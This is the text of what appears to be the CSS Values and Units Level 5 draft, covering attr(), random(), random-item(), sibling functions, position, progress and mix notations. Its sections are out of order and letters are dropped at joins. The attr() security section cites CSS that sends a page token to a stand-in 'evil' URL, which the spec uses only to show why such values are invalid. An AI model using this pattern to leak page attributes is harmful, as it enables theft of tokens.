ammar must be assumed to be valid at parse time.It is only syntax-checked at computed-value time,after attr() functions have been substituted. Note that the default value need not be of the type given.For instance, if the type required of the attribute by the author is number px,the default could still be auto,like in width: attr(size number px, auto);. This example shows the use of attr() to visually illustrate datain an XML file: stock wood length="12"/ wood length="5"/ metal length="19"/ wood length="4"//stockstock::before { display: block; content: "To scale, the lengths of materials in stock are:";}stock * { display: block; width: attr(length number em, 0px); height: 1em; border: solid thin; margin: 0.5em;}wood { background: orange url(wood.png);}metal { background: silver url(metal.png);} 7.7.1. Attribute Value Substitution: the attr() notation attr() is an arbitrary substitution function,similar to var(),and so is replaced with the value it represents (if possible)at computed value time;otherwise, it’s replaced with the guaranteed-invalid value,which will make its declaration invalid at computed-value time. To resolve an attr() function: Let el be the element that the style containing the attr() functionis being applied to.Let attr name be the attribute name specified in the function.Let syntax be the syntax specified in the function,or null if it was omitted.Let f

llback be the declaration-value? argument specified in the function,or the guaranteed-invalid value if it was omitted. If there is no attribute named attr name on el,return the guaranteed-invalid value and fallback.Otherwise, let attr value be that attribute’s value. If syntax is null,return a CSS string whose value is attr value. Note: No parsing or modification of any kind is performed on the value. Parse with a syntax attr value, with syntax and el.Return the result and fallback. 7.7.2. Security An attr() function can reference attributesthat were never intended by the page to be used for styling,and might contain sensitive information(for example, a security token used by scripts on the page). In general, this is fine.It is difficult to use attr() to extract information from a pageand send it to a hostile party,in most circumstances.The exception to this is URLs.If a URL can be constructed with the value of an arbitrary attribute,purely from CSS,it can easily send any information stored in attributesto a hostile party,if 3rd-party CSS is allowed at all. To guard against this,the values produced by an attr() are considered attr()-tainted,as are functions that contain an attr()-tainted value. Registered custom properties containing attr() maintain the attr()-taint on their attr()-tainted valuesacross var() substitution. Using an attr()-tainted value as or in a url makes a declaration

nvalid at computed-value time. For example,all of the following are invalid: background-image: src(attr(foo)); - can’t use it directly. background-image: image(attr(foo)) - can’t use it in other url-taking functions. background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function. --foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either. However, using attr() for other purposes is fine,even if the usage is near a url: background-image: image("foo.jpg", attr(bgcolor color)) is fine;the attr() is providing a fallback color,and the url isn’t attr()-tainted. Note: Implementing this restrictionrequires tracking a dirty biton values constructed from attr() values,since they can be fully resolved into a stringvia registered custom properties,so you can’t rely on just examining the value expression.Note that non-string types can even trigger this,via functions like string() that can stringify other types of values: --foo: attr(foo number); background-image: src(string(var(--foo))) needs to be invalid as well. 8. Generating Random Values It is often useful to incorporate some degree of "randomness" to a design,either to make repeated elements on a page feel less static and identical,or just to

dd a bit of "flair" to a page without being distracting. The random() and random-item() functions(the random functions)allow authors to incorporate randomness into their page,while keeping this randomness predictable from a design perspective,letting authors decide whether a random value should be reused in several placesor be unique between instances. The exact random-number generation method is UA-defined.It should be the case that two distinct random valueshave no easily-detectable correlation,but this specification intentionally does not specify what that meansin terms of cryptographic strength.Authors must not rely on random functions for any purposes that depend on quality cryptography. 8.1. Generating a Random Numeric Value: the random() function The random() function is a math function that represents a random value between a minimum and maximum value,drawn from a uniform distribution,optionally limiting the possible values to a step between those limits:random() = random( random-caching-options? , calc-sum, calc-sum, [by calc-sum]? )random-caching-options = dashed-ident || per-element Its arguments are: random-caching-options The optional random-caching-options provides some control over whether a given random() functionresolves similarly or differently to other random()s on the page.See § 8.3 Generating/Caching Random Values: the random-caching-options value for details. By default, rand

m() resolves to a single value,shared by all elements using that style,and two random() functions with identical argumentswill resolve to the same random value. Providing a dashed-ident does nothing,but can make the argument lists distinctbetween two or more otherwise-identical random() functions,so they’ll generate distinct values. The per-element keyword causes the random() functionto generate a different value on each element the function is applied to,rather than resolving to a single value per usage in the stylesheet. calc-sum, calc-sum The two required calculations specify the minimum and maximum valuethe function can resolve to.Both limits are inclusive(the result can be the min or the max). If the maximum value is less than the minimum value,it behaves as if it’s equal to the minimum value. For example, random(100px, 300px) will resolve to a random length between 100px and 300px:it might be 100px, 300px, or any value between them like 234.5px. by calc-sum The final optional argumentspecifies a step value:the values the function can resolve toare further restricted to the form min + (N * step),where N is a non-negative integerchosen uniformly randomly from the possible valuesthat result in an in-range value. For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px;it will never return a value like 120px. While the minimum value is a

ways a possible result,the maximum value isn’t always,if it’s not also a multiple of the step from the minimum.For example, in random(100px, 300px, by 30px),the largest possible value it can resolve to is 280px,6 steps from the minimum value. Note that rounding issues might have an effect here:in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values(100px, and approximately 133.33px and 166.67px),but whether 200px is possible depends on rounding precision.To be safe, you can put the maximum value slightly above where you expect the final step to land,like random(100px, 201px, by 100px / 3). As explained in the definition of round(),CSS has no "natural" precision for values,but the step value can be used to assign one. For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers;etc. Note: The definition of the step does not allowfor naively generating a random value in the rangeand then rounding it to the nearest step value,as that can result in the values not appearing with the same weights.For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance;a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values. All of the calculation arguments can resolve to any number, dimension, or percentag

but must have the same type, or else the function is invalid;the result will have the same type as the arguments. For example, random(50px, 100%, by 1em) is valid(assuming percentages are valid in the context this is used,and resolve to a length),as all three arguments resolve to a length. However, random(50px, 180deg) is invalid,as lengths and angles are not the same type. A random() function can be simplified as soon as its argument calculations can be simplified to numeric values. Note: This means that random() is usually resolvedby computed value time,and thus will inherit as a static numeric value.However, if the argument calculations aren’t resolveduntil used value time(such as if they include percentage valuesthat require layout information to resolve), inheritance will transfer the random() function itself.(This is no different, however, to the behavior of the percentages themselves,which would inherit as percentagesand thus might resolve to different values on the child elements.) At least in theory it should be fine to use random() in non-property contexts,so long as per-element isn’t specified;it’s well-defined what happens with @media (max-width: random(100px, 500px)) {...},for example.I suspect we want to disallow it, tho? 8.1.1. Argument Ranges In random(A, B, by C),if A or B is infinite,the result is NaN.If C is infinite,the result is A. (If C is zero or negative,the r

sult is A,but that falls out of the standard definition.) Note: As usual for math functions,if any argument calculation is NaN,the result is NaN. 8.2. Picking a Random Item From a List: the random-item() function The random-item() functionresolves to a random itemfrom among its list of items.random-item() = random-item( random-caching-options , [ declaration-value? ]# ) The required random-caching-options is interpreted identically to random().(See § 8.3 Generating/Caching Random Values: the random-caching-options value for details.) Like random(),the dashed-ident can be used to force similar random-item() functionsto generate distinct random values,and per-element causes it to resolve to a distinct value on each element. Aside from these,the grouping of random-item() functions as "identical"is much simpler:all that matters is the number of arguments. That is, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3) will always resolve to the same argument index:either red and 1, or blue and 2, or green and 3.This allows coordination between groups of propertiesthat all want to use a random set of values. On the other hand, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3, 4) will have no connection to each other;any of the 12 possible combinations can occur. Note: The random-caching-options argument is required in random-item(),but optional in random(),

tboth for parsing reasons(it’s impossible to tell whether random-item(--foo, --bar, --baz) has three declaration-value argumentsor two and a random-caching-options argument),and because accidentally associating the random generation of random-item() functions togetheris much easier to do accidentally,since only the number of arguments is used to distinguish instances. The remaining arguments are arbitrary sequences of CSS values.The random-item() function resolves to one of these sequences,chosen uniformly at random. The random-item() function is an arbitrary substitution function,like var(). That is, if you use random-item(): So long as random-item() itself (and any other arbitrary substitution functions)is syntactically valid,the entire property is assumed to be valid at parse time. random-item() is substituted with whatever value it resolves toat computed value timewhen you’d substitute a var(),so children all inherit the same resolved value. If the substituted value ends up making the property invalid,the property’s value becomes the guaranteed-invalid value. Define arbitrary substitution function,probably over in Variables,since we have several upcoming functions leaning on this functionality. Since random-item() is var()-like,we probably want to restrict it to only be usable in properties.(This is likely something we want to apply to all such functions.)Tho random() is a fundament

lly different kind of value,we probably want to restrict it as well,for thematic consistency. 8.3. Generating/Caching Random Values: the random-caching-options value In a programming language like JavaScript,there’s a clear temporal ordering to code,so you can tell exactly when something like a call to Math.random() is evaluated.You can also store the results in a variable,making it clear when you’re reusing a single random value in multiple places,versus using a distinct random value in each location. CSS, on the other hand, is a declarative language(code is not "executed" in any particular order,nor is there any control over how many times something is "executed");it makes it very easy to apply identical styles to multiple elementsbut difficult to specify distinct values for each of them(making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied toor to distinct values on each);and it has very limited "variable" functionality(making it difficult to intentionally reuse a particular randomly-generated value in several places). To resolve these issues,the random() and random-item() functions are defined to generate random valuesunder the following caching semantics: Each instance of random() or random-item() in a stylesheetspecifies a random-caching key.Two instances of either function must resolve to identical valuesif their random-caching keys are identical;t

ey must resolve to distinct valuesif they’re different. ("Distinct" here means generated by a fresh random operation;this might coincidentally result in the same value as another random operation.) For random(),the random-caching key is a tuple of: The used value of the minimum calculation. The used value of the maximum calculation. The used value of the step calculation, if present,or null otherwise. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. For random-item(),the random-caching key is a tuple of: The number of arguments to the function. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. The "unique value per element or pseudo-element" must have the same lifetimeas a JavaScript reference to the element(or to the originating element + sufficient additional info to uniquely identify the pseudo-element).Elements in separate documents(including across refreshes of the same page,which produces distinct documents with distinct elements) should have distinct unique values.(This is not strictly re

uired,to allow for pseudo-random generation of these values,but uniqueness should be likely enoughthat authors cannot depend on elements having the same values across documents.) Additionally, the random generation method should generate distinct values for the same operationwhen invoked on different documents(including refreshes of the same page). For example, in the following stylesheet: .random-square { width: random(100px, 500px); height: random(100px, 500px);} The random-caching keys for both functions are identical: (100px, 500px, null, null, null).This means that both will resolve to the exact same value,guaranteeing a square elementwith a size somewhere between 100px and 500px.Additionally, every .random-square elementwill have the same size. On other hand, in this stylesheet:.random-rect { width: random(100px, 500px); height: random(--x, 100px, 500px);} The random-caching keys are distinct between the two functions:the function in width has (100px, 500px, null, null, null),while the function in height has (100px, 500px, null, --x, null). This means the two functions will resolve to distinct random values,making it very unlikely for the element to be square.However, every element matching .random-rect will still have the same random size. Changing any aspect of the function also alters this key.The following two declarations are similarly distinct,resulting in the width and height havi

g no connection to each other:.random-rect-2 { width: random(100px, 500px); height: random(100px, 500px, by 50px);} But so long as the used values end up identical,two functions that look distinct might end up identical.For example, in the following code:.random-square-2 { font-size: 16px; width: random(160px, 320px); height: random(10em, 20em);} The two functions superficially look different,but after the lengths are fully resolvedthey end up with identical random-caching keys;each is (160px, 320px, null, null, null),so actually the widths and heights will end up always identical. By default, each instance of a random() function in a stylesheetessentially resolves to a static value,which is then shared by every element that property applies to.This behavior can be changed with the per-element keyword. For example, in:.foo { width: random(100px, 500px); } Multiple elements matching .foo will end up with the same random width. But in:.foo { width: random(per-element, 100px, 500px); } Every element matching .foo will get its own unique width. Note that this causes the value to be unique per element,not per value necessarily.For example, in:.random-squares { width: random(per-element, 100px, 500px); height: random(per-element, 100px, 500px);} Every element matching .random-squares will get a distinct random value,but that value will be the same for width and height on a given element,

aking the element square.This is because in both propertiesthe random-caching key is (100px, 500px, null, null, [unique value for the element]),so both functions will resolve to the same length on a single element. This makes random values in custom properties act more predictably.The preceding code could also be written as:.foo { --size: random(per-element, 100px, 500px); width: var(--size); height: var(--size);} 9. Tree Counting Functions: the sibling-count() and sibling-index() notations The sibling-count() functional notation represents,as an integer,the total number of child elements in the parent of the element on which the notation is used. The sibling-index() functional notation represents,as an integer,the index of the elementon which the notation is usedamong the children of its parent.Like :nth-child(), sibling-index() is 1-indexed. Note: The counter() function can provide similar abilities as sibling-index(),but returns a string rather than an integer. When used on a pseudo-element,these both resolve as if specifiedon its ultimate originating element. Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree. Note: These functions may, in the future,be extended to accept an of selector argument,similar to :nth-child(),to filter on a subset of the children

Introduction This is a diff spec against CSS Values and Units Level 4. 1.1. Module Interactions This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3,and A.2. 2. Textual Data Types See CSS Values 4 § 4 Textual Data Types. 3. Value Definition Syntax See CSS Values 4 § 2 Value Definition Syntax. Additionally, Boolean combinations of a conditional notation.These are written using the boolean-expr[] notation,and represent recursive expressions of boolean logicusing keywords and parentheses,applied to the grammar specified in brackets,e.g. boolean-expr[ ( <media-feature> ) ] to express media queries. 3.1. Functional Notation Definitions See CSS Values 4 § 2.6 Functional Notation Definitions. 3.1.1. Commas in Function Arguments Functional notation often uses commasto separate parts of its internal grammar.However, some functions(such as mix())allow values that, themselves,can contain commas.These values(currently whole-value, declaration-value, and any-value)are comma-containing productions. To accommodate these sorts of grammars unambiguously,the comma-containing productions can be optionally wrapped in curly braces {}.These braces are syntactic, not part of the actual value.Specifically: A comma-containing production can either start with a "{" token, or not. If it does not start with

"{" token,then it cannot contain commas or {} blocks,in addition to whatever specific restrictions it defines for itself.(The production stops parsing at that point,so the comma or {} block is matched by the next grammar term instead;probably the function’s own argument-separating comma.) If it does start with a "{" token,then the production matches just the {} block that the "{" token opens.It represents the contents of that block,and applies whatever specific restrictions it defines for itselfto those contents,ignoring the {} block wrapper. For example, the grammar of the random-item() function is: random-item( random-caching-options, [declaration-value?]# ) The # indicates comma-separated repetitions,so randomly choosing between three keywordswould be written as normal for functions,like:font-family: random-item(--x, serif, sans-serif, monospace); However, sometimes the values you want to choose betweenneed to include commas.When this is the case,wrapping the values in {}allows their commas to be distinguishedfrom the function’s argument-separating commas:font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace}); This randomly chooses one of three font-family lists:either Times, serif, or Arial, sans-serif, or Courier, monospace. This is not all-or-nothing;you can use {} around some arguments that need it,while leaving others bare when they don’t need it.You are

also allowed to use {} around a value when it’s not strictly required.For example:font-family: random-item(--x, {Times, serif}, sans-serif, {monospace}); This represents choosing between three font-family lists:either Times, serif, or sans-serif, or monospace. However, this {}-wrapping is only allowed for some function arguments—​those defined as comma-containing productions.It’s not valid for any other productions;if you use {} around other function arguments,it’ll just fail to match the function’s grammarand become invalid.For example, the following is invalid:background-image: linear-gradient(to left, {red}, magenta); Note: Because {} wrappers are allowed even when not explicitly required,they can be used defensively around valueswhen the author isn’t sure if they’ll end up containing commas or not,due to arbitrary substitution functions like var().For example, font-family: random-item(--x, {var(--list1)}, monospace) will work correctlyregardless of whether the --list1 custom propertycontains a comma-separated list or not. Functional notations are serialized without {} wrappers whenever possible. The following generic productions are comma-containing productions: any-value whole-value declaration-value For legacy compat reasons,the declaration-value defined the fallback value for var() is a non-strict comma-containing production.It ignores the rules restricting what it can co

tainwhen it does not start with a "{" token:it is allowed to contain commas and {} blocks.It still follows the standard comma-containing production ruleswhen it does start with a "{" token, however:the fallback is just the contents of the {} block,and doesn’t include the {} wrapper itself. Other contexts may define that they use non-strict comma-containing productions,but it should be avoided unless necessary. 3.2. Boolean Expression Multiplier boolean-expr[] Several contexts(such as @media, @supports, if(), ...)specify conditions,and allow combining those conditions with boolean logic (and/or/not/grouping).Because they use the same non-trivial recursive syntax structure,the special boolean-expr[] production represents this pattern generically. The boolean-expr[] notation wraps another value type in the square brackets within it,e.g. boolean[ test ],and represents that value type alone as well asboolean combinationsusing the not, and, and or keywordsand grouping parenthesis.It is formally equivalent to:boolean-expr[ test ] = not boolean-expr-group | boolean-expr-group [ [ and boolean-expr-group ]* | [ or boolean-expr-group ]* ]boolean-expr-group = test | ( boolean-expr[ test ] ) | general-enclosed The boolean-expr[] production represents a true, false, or unknown value.Its value is resolved using 3-value Kleen

logic,with top-level unknown values(those not directly nested inside the grammar of another boolean-expr[])resolving to false unless otherwise specified;see Appendix B: Boolean Logic for details. For example, the @container rule allows a wide variety of tests:including size queries, style queries, and scroll-state queries.All of these are arbitrarily combinable with boolean logic.Using boolean-expr[], the grammar for an @container querycould be written as: container-query = boolean-expr[ cq-test ]cq-test = (size-query) | style( style-query ) | scroll-state( scroll-state-query )size-query = boolean-expr[ ( size-feature ) ] | size-featurestyle-query = boolean-expr[ ( style-feature ) ] | style-featurescroll-state-query = boolean-expr[ ( scroll-state-feature ) ] | scroll-state-feature The general-enclosed branch of the logic allows for future compatibility—​unless otherwise specified new expressions in an older UAwill be parsed and considered “unknown”,rather than invalidating the production.For consistency with that allowance,the test term in a boolean-expr[] should be defined to match general-enclosed. 3.3. Specifying CSS Syntax in CSS: the syntax type Some features in CSS,such as the attr() functionor registered custom properties,allow you to specify how another value is meant to be parsed.This is declared via the syntax production,which resembles a limited form of the CSS va

ue definition syntax used in specifications to define CSS features,and which represents a syntax definition:syntax = * | syntax-component [ syntax-combinator syntax-component ]* | syntax-stringsyntax-component = syntax-single-component syntax-multiplier? | transform-list syntax-single-component = syntax-type-name | identsyntax-type-name = angle | color | custom-ident | image | integer | length | length-percentage | number | percentage | resolution | string | time | url | transform-functionsyntax-combinator = |syntax-multiplier = [ # | + ]syntax-string = string A syntax-component consists of eithera syntax-type-name between (angle brackets),which maps to one of the supported syntax component names,or an ident, which represents any keyword.Additionally,a syntax-component may contain a multiplier,which indicates a list of values. Note: This means that length and length are two different types:the former describes a length,whereas the latter describes a keyword length. Multiple syntax-components may be combined with a | delim-token,causing the syntax components to be matchedagainst a valuein the specified order. percentage | number | auto The above, when parsed as a syntax,would accept percentage values, number values,as well as the keyword auto. red | color The syntax def

nition resulting from the above syntax,when used as a grammar for parsing,would match an input red as an identifier,but would match an input blue as a color. The * delim-token represents the universal syntax definition. The transform-list productionis a convenience form equivalent to transform-function+. Note that transform-list may notbe followed by a syntax-multiplier. Whitespace is not allowedbetween the angle bracket delim-tokens ( )and the syntax-type-name they enclose,nor is whitespace allowed to precede a syntax-multiplier. Note: The whitespace restrictions also apply to transform-list. A syntax-string is a string whose value successfully parses as a syntax,and represents the same value as that syntax would. Note: syntax-string mostly exists for historical purposes;before syntax was defined,the @property rule used a string for this purpose. 3.3.1. Parsing as syntax The purpose of a syntax is usually to specify how to parse another value(such as the value of a registered custom property,or an attribute value in attr()).However, the generic parse something according to a CSS grammar algorithmreturns an unspecified internal structure,since parse results might be ambiguousand need further massaging. To avoid these issues and get a well-defined result,use parse with a syntax: To parse with a syntax given a string or list or component values values,a syntax value syntax,and optionally an

element el for context,perform the following steps.It returns either CSS values,or the guaranteed-invalid value. Parse a list of component values from values,and let raw parse be the result. If el was given, substitute arbitrary substitution functions in raw parse,and set raw parse to that result. parse values according to syntax,with a * value treated as declaration-value?,and let parsed result be the result.If syntax used a | combinator,let parsed result be the parse result from the first matching clause. If parsed result is failure,return the guaranteed-invalid value. Assert: parsed result is now a well-defined list of one or more CSS values,since each branch of a syntax defines an unambiguous parse result(or the * syntax is unambiguous on its own). Return parsed result. Note: This algorithm does not resolved the parsed valuesinto computed values;the context in which the value is used will usually do that already,but if not,the invoking algorithm will need to handle that on its own. 4. Extensions to Level 4 Value Types See CSS Values and Units Level 4. 4.1. Resource Locators: the url type See CSS Values 4 § 4.5 Resource Locators: the url type. 4.1.1. Request URL Modifiers request-url-modifiers are url-modifiersthat affect the url’s resource request by applying associated URL request modifier steps.See CSS Values 4 § 4.5.4 URL Processing Model. This specificati

n defines the following request-url-modifiers:request-url-modifier = crossorigin-modifier | integrity-modifier | referrerpolicy-modifiercrossorigin-modifier = crossorigin(anonymous | use-credentials)integrity-modifier = integrity(string)referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) crossorigin-modifier = crossorigin(anonymous | use-credentials) The URL request modifier steps for this modifier given request req are: Set requests mode to "cors". If the given value is use-credentials,set requests credentials mode to "include". integrity-modifier = integrity(string) The URL request modifier steps for this modifier given request req are to set requests integrity metadata to the given string. referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) The URL request modifier steps for this modifier given request req are to set requests referrer policy to the ReferrerPolicy that matches the given value. To apply request modifiers from URL value given a request req and a url url,call the URL request modifier steps for url’s request-url-modifiers in sequencegiven req. 4.2. 2D Po

itioning: the position type The position value specifies the positionof an alignment subject (e.g. a background image)inside an alignment container (e.g. its background positioning area)as a pair of offsets between the specified edges(defaulting to the left and top).Its syntax is:position = position-one | position-two | position-fourposition-one = [ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | length-percentage]position-two = [ [ left | center | right | x-start | x-end ] && [ top | center | bottom | y-start | y-end ]| [ left | center | right | x-start | x-end | length-percentage ] [ top | center | bottom | y-start | y-end | length-percentage ]| [ block-start | center | block-end ] && [ inline-start | center | inline-end ]| [ start | center | end ]{2}]position-four = [ [ [ left | right | x-start | x-end ] length-percentage ] && [ [ top | bottom | y-start | y-end ] length-percentage ]| [ [ block-start | block-end ] length-percentage ] && [ [ inline-start | inline-end ] length-percentage ]| [ [ start | end ] length-percentage ]{2}] If only one value is specified (position-one),the second value is assumed to be center. If two values are given (position-two),a length-percentage as the first value representsthe horizontal position as the offset betweenthe left edges of the alignment subject and alignment container,and

length-percentage as the second value representsthe vertical position as an offset between their top edges. If both keywords are one of start or end,the first one represents the block axis and the second the inline axis. Note: A pair of axis-specific keywords can be reordered,while a combination of keyword and length or percentage cannot.So center left or inline-start block-end is valid,while 50% left is not. start and end aren’t axis-specific,so start end and end start represent two different positions. If four values are given (position-four)then each length-percentage represents an offset betweenthe edges specified by the preceding keyword.For example, background-position: bottom 10px right 20px represents a 10px vertical offset up from the bottom edgeand a 20px horizontal offset leftward from the right edge. Positive values represent an offset inward from the edge of the alignment container.Negative values represent an offset outward from the edge of the alignment container. The following declarations give the stated (horizontal, vertical)offsets from the top left corner: background-position: left 10px top 15px; /* 10px, 15px */background-position: left top ; /* 0px, 0px */background-position: 10px 15px; /* 10px, 15px */background-position: left 15px; /* 0px, 15px */background-position: 10px top ; /* 10px, 0px */ positions can also be relative to other corners than

the top left.For example, the following puts the background image10px from the bottom and 3em from the right: background-position: right 3em bottom 10px The computed value of a position isa pair of offsets (horizontal and vertical),each given as a computed length-percentage value,representing the distance between the left edges and top edges (respectively)of the alignment subject and alignment container. length-percentage A length-percentage value specifies the size of the offsetbetween the specified edges of the alignment subject and alignment container. For example, for background-position: 2cm 1cm,the top left corner of the background image is placed2cm to the right and 1cm belowthe top left corner of the background positioning area. A percentage for the horizontal offset is relative to(width of alignment container - width of alignment subject).A percentage for the vertical offset is relative to(height of alignment container - height of alignment subject). For example, with a value pair of 0% 0%,the upper left corner of the alignment subject is aligned withthe upper left corner of the alignment container A value pair of 100% 100% placesthe lower right corner of the alignment subject in the lower right corner of the alignment container.With a value pair of 75% 50%,the point 75% across and 50% down the alignment subject is to

e placed at the point 75% across and 50% down the alignment container. Diagram of the meaning of background-position: 75% 50%. top right bottom left Offsets the top/left/right/bottom edges (respectively)of the alignment subject and alignment container by the specified amount (defaulting to 0%)in the corresponding axis. y-start y-end x-start x-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the [=y-axis|y/x axis. block-start block-end inline-start inline-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the block/inline axis. center Computes to a 50% offset in the corresponding axis. Unless otherwise specified, the flow-relative keywords are resolvedaccording to the writing mode of the element on which the value is specified. Note: The background-position property also accepts a three-value syntax.This has been disallowed generically because it creates parsing ambiguitieswhen combined with other length or percentage components in a property value. Need to define how this syntax would expand to the longhands of background-position if e.g. var() is used for some (or all) of the components. [Issue #9690] 4.2.1. Parsing position When specified in a grammar alongside other keywords, lengths, or percentages, position is greedily parsed;\

it consumes as many components as possible. For example, transform-origin defines a 3D positionas (effectively) position length?.A value such as left 50px will be parsed as a 2-value position,with an omitted z-component;on the other hand,a value such as top 50px will be parsed as a single-value position followed by a length. 4.2.2. Serializing position When serializing the specified value of a position: If only one component is specified: The implied center keyword is added,and a 2-component value is serialized. If two components are specified: Keywords are serialized as keywords. length-percentages are serialized as length-percentages. Components are serialized horizontal first, then vertical. If four components are specified: Keywords and offsets are both serialized. Components are serialized horizontal first, then vertical;alternatively block-axis first, then inline-axis. Note: position values are never serialized as a single value,even when a single value would produce the same behavior,to avoid causing parsing ambiguities in some grammarswhere a position is placed next to a length,such as transform-origin. The computed value of a position is serialized as a pair of length-percentagesrepresenting offsets from the left and top edges, in that order. 4.2.3. Combination of

position Interpolation of position is defined asthe independent interpolation of each component (x, y)normalized as an offset from the top left corneras a length-percentage. Addition of position is likewise defined asthe independent addition each component (x, y)normalized as an offset from the top left corneras a length-percentage. 5. Interpolation Progress Functional Notations This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245] The progress(), media-progress(), and container-progress() functional notations represent the proportional distanceof a given value (the progress value)from one value (the progress start value)to another value (the progress end value).They allow drawing a progress ratio from math functions, media features, and container features,respectively,following a common syntactic pattern:progress-function() = progress-function( progress value from start value to end value ) Each resolves to a number by calculating a progress function. To calculate a progress function,given a progress value, progress start value,and progress end value: If the progress start value and progress end value are different values (progress value - progress start value) / (progress end value - progress start value). If the progress start value and progress end value are the same value 0, -∞, or +∞,depending on whether progress value is equal to, less than,

or greater thanthe shared value. Note: The return value is a plain number,not made consistent with its arguments by default. The resulting number can then be input into other calculations,such as a math function or a mix notation. 5.1. Calculated Progress Values: the progress() notation The progress() functional notationreturns a number valuerepresenting the position of one calculation (the progress value)between two other calculations (the progress start value and progress end value). progress() is a math function. The syntax of progress() is defined as follows:progress() = progress(calc-sum, calc-sum, calc-sum) where the first, second, and third calc-sum values representthe progress value, progress start value, and progress end value,respectively. The argument calculations can resolve to any number, dimension, or percentage,but must have a consistent type or else the function is invalid. The value of progress() is a number,determined by calculating a progress function,then made consistent with the consistent type of its arguments. Do we need a percent-progress() notation,or do enough places auto-convert that it’s not necessary? Note: The progress() function is essentially syntactic sugarfor a particular pattern of calc() notations,so it’s a math function. 5.2. Media Query Progress Values: the media-progress() notation Similar to the progress() notation,the media-progress() functional nota

ionreturns a number valuerepresenting current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value). The syntax of media-progress() is defined as follows:media-progress() = media-progress(mf-name, calc-sum, calc-sum) where the value of the media feature corresponding to mf-name represents the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified media feature must be a valid “range” type feature,the specified progress start value and progress end value must be valid values for the specified media query,and both calculation values must have a consistent type,or else the function is invalid. The progress start value and progress end value calculations are interpreted as specified for the media feature (rather than as specified by the context the function is used in). The value of media-progress() is a number,determined by calculating a progress function. Note: media-progress() is not a math function;it’s just a function that evaluates to a number. 5.3. Container Query Progress Values: the container-progress() notation The container-progress() functional notationis identical to the media-progress() functional notation,except that it accepts container features [CSS-CONTAIN-3] in place of media features. The syntax of container-prog

ess() is defined as follows:container-progress() = container-progress(mf-name [ of container-name ]?, calc-sum, calc-sum) where mf-name represents a size feature and the optional container-name component specifiesthe named containers to consider when selecting a containerto resolve them against.The value of the size feature is the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified mf-name must be a valid size feature,the specified progress start value and progress end value must be valid values for that size feature,and both calculation values must have a consistent type,or else the function is invalid. container-progress() is only valid in a property value context;it cannot be used in, for example, a media query. The progress start value and progress end value calculations are interpreted as specified for the size feature (rather than as specified by the context the function is used in).If no appropriate containers are found, container-progress() resolves its size-feature queryagainst the small viewport size. The value of media-progress() is a number,determined by calculating a progress function. Note: container-progress() is not a math function;it’s just a function that evaluates to a number. 6. Mixing and Interpolation Notations: the *-mix() family This feature does not handle multiple breakpoints very well,and might need to be

edesigned. [Issue #6245] Several mix notations in CSSallow representing the interpolation of two values,the mix start value and the mix end value,at a given point in progress between them (the mix progress value).These functional notations follow the syntactic pattern:mix-function() = mix-function( progress, [=mix start value|start-value=], [=mix end value|end-value=] ) The mix notations in CSS include: calc-mix(),for interpolating length, percentage, time,and other dimensions representable in calc() expressions color-mix(),for interpolating two color values cross-fade(),for interpolating image values palette-mix(),for interpolating two font-palette values and finally the generic mix() notation,which can represent the interpolation of any property’s values(but only the property’s entire value, not individual components). Note: The cross-fade() notationalso has an alternative syntaxthat allows for mixing more than two values,but does not allow for the more complex expressions of progress. The mix() notation also has a variant that takes a set of keyframes.It does this by referring to an @keyframes rule,and pulling the corresponding property declaration out of that.It would be nice to allow the other mix notations to take keyframe also,but how would we represent a set of keyframes for a component value (rather than a full property value)? 6.1. Representing Interpolation Progress: the pr

gress type The progress value type representsthe mix progress value in a mix notation,and ultimately resolves to a percentage.It can, however, draw that percentage valuefrom sources such as media queries and animation timelines,and can also convert it through an easing function before using it for interpolation. Its syntax is defined as follows:progress = [ percentage | number | animation-timeline ] && [ by easing-function ]? where: percentage-token Computes to the equivalent number: 0% becomes 0, 100% becomes 1,etc. Note: This only allows literal percentages,like 15%;calculations like calc(100% / 7) will not work,as they will instead attempt to use the normal rulesfor resolving a percentage against another type(such as length, in width).Use expressions like calc(1 / 7) instead. number Represents the mix progress value. Note: This allows the use of the progress(), media-progress(),and container-progress() notations. animation-timeline Represents the mix progress value as the progress of the specified animation timeline.The values none and auto, however,are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2] easing-function Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1] Note: Progress values below 0 and above 1 are valid;they

